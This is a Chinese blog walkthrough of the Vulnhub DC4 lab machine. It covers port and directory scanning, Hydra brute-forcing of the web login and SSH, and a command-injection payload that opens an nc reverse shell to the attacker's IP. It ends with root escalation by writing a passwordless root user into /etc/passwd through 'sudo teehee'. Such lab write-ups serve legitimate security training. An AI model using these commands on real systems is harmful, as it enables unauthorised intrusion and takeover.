当前位置:网站首页>【Try to Hack】vulnhub DC4
【Try to Hack】vulnhub DC4
2022-07-01 16:28:00 【开心星人】
博客主页:开心星人的博客主页
系列专栏:Try to Hack
欢迎关注点赞收藏️留言
首发时间:2022年7月1日
作者水平很有限,如果发现错误,还望告知,感谢!
靶机默认为桥接模式
kali设置为桥接模式
主机发现netdiscover
靶机ip为192.168.0.151
namp -p- -A 192.168.0.151
ssh服务和http服务
访问80端口
dirb常规目录扫描dirb http://192.168.0.151
两个目录403
whatweb http://192.168.0.151
这个页面没法用cwel爬取字典
上弱口令
上hydra,用john自带的字典 /usr/share/john/password.lst
已知用户名为adminhydra -l admin -P /usr/share/john/password.lst 192.168.0.151 http-get /


可以执行命令,但是命令写死了
抓包看一下
确实是的
反弹个shellradio=nc+192.168.0.106+233+-e+/bin/sh&submit=Run
nc -lvvp 233
放包
python -c 'import pty;pty.spawn("/bin/bash")'
获得一个交互式的shell
ls /home
有三个用户
一个一个翻一下
只有jim能看

有密码
继续翻jim下的其他文件
没有权限查看mbox
现在看ssh服务
然后将三个用户保存为user.txt。
我直接把密码备份文件手动复制到了kali攻击机里
用hydra爆破ssh服务hydra -L user.txt -P password.txt 192.168.0.151 ssh -t 60 
ssh爆破出来一个用户
jim:jibril04
登录看一下ssh [email protected]
登录成功
可以查看mbox
这是发邮件,root给jim发的邮件,但是没有邮件内容
在/var/jim里面找到 。(这个/var/mail是默认自带的文件夹,可能就是用来保存邮件的)
得到了charles的密码
登录看看

什么都没发现
现在只能考虑提权了
给了我们charles这个用户,那就用这个用户来提权
test.sh具有suid权限,但是我不知道它什么时候会运行,没见过它运行的样子。
第一考虑用用ping提权,但是发现好像不太行
用sudosudo -l

echo "happy::0:0:::/bin/bash" | sudo teehee -a /etc/passwd
构造一个用户具有root权限,写入/etc/passwd

边栏推荐
- Jojogan practice
- Internet News: "20220222" get together to get licenses; Many products of Jimi have been affirmed by consumers; Starbucks was fined for using expired ingredients in two stores
- How to repair the laptop that cannot connect to the wireless network
- Is the programmer's career really short?
- 今天14:00 | 港大、北航、耶鲁、清华、加大等15位ICLR一作讲者精彩继续!
- Judge whether the binary tree is a binary search tree
- 【Kotlin】高阶函数介绍
- 嗨 FUN 一夏,与 StarRocks 一起玩转 SQL Planner!
- 拼接字符串,得到字典序最小的结果
- 美国国家安全局(NSA)“酸狐狸”漏洞攻击武器平台技术分析报告
猜你喜欢

C语言输入/输出流和文件操作

Building blocks for domestic databases, stonedb integrated real-time HTAP database is officially open source!

VMware 虚拟机启动时出现故障:VMware Workstation 与 Hyper-v 不兼容...

How to cancel automatic search and install device drivers for laptops

想做软件测试的女孩子看这里

如何使用 etcd 实现分布式 /etc 目录

SystemVerilog-结构体(二)

How wild are hackers' ways of making money? CTF reverse entry Guide

Detailed explanation of activity life cycle and startup mode

How to restore the system with one click on Lenovo laptop
随机推荐
SQL question brushing 1050 Actors and directors who have worked together at least three times
sql刷题584. 寻找用户推荐人
ShenYu 网关开发:在本地启用运行
P2893 [usaco08feb] making the grade g (DP & priority queue)
Go 语言源码级调试器 Delve
How to solve the keyboard key failure of notebook computer
FRP intranet penetration, reverse proxy
P2893 [USACO08FEB] Making the Grade G(dp&优先队列)
數據庫系統原理與應用教程(006)—— 編譯安裝 MySQL5.7(Linux 環境)
Bugku's file contains
毕业季 | 华为专家亲授面试秘诀:如何拿到大厂高薪offer?
Is the programmer's career really short?
How to use etcd to realize distributed /etc directory
How to use F1 to F12 correctly on laptop keyboard
Borui data integrated intelligent observable platform was selected into the "Yunyuan production catalogue" of China Academy of communications in 2022
判断链表是否是回文链表
Tutorial on the principle and application of database system (005) -- Yum offline installation of MySQL 5.7 (Linux Environment)
SystemVerilog structure (II)
Mlperf training v2.0 list released, with the same GPU configuration, the performance of Baidu PaddlePaddle ranks first in the world
How to solve the problem that the battery icon of notebook computer does not display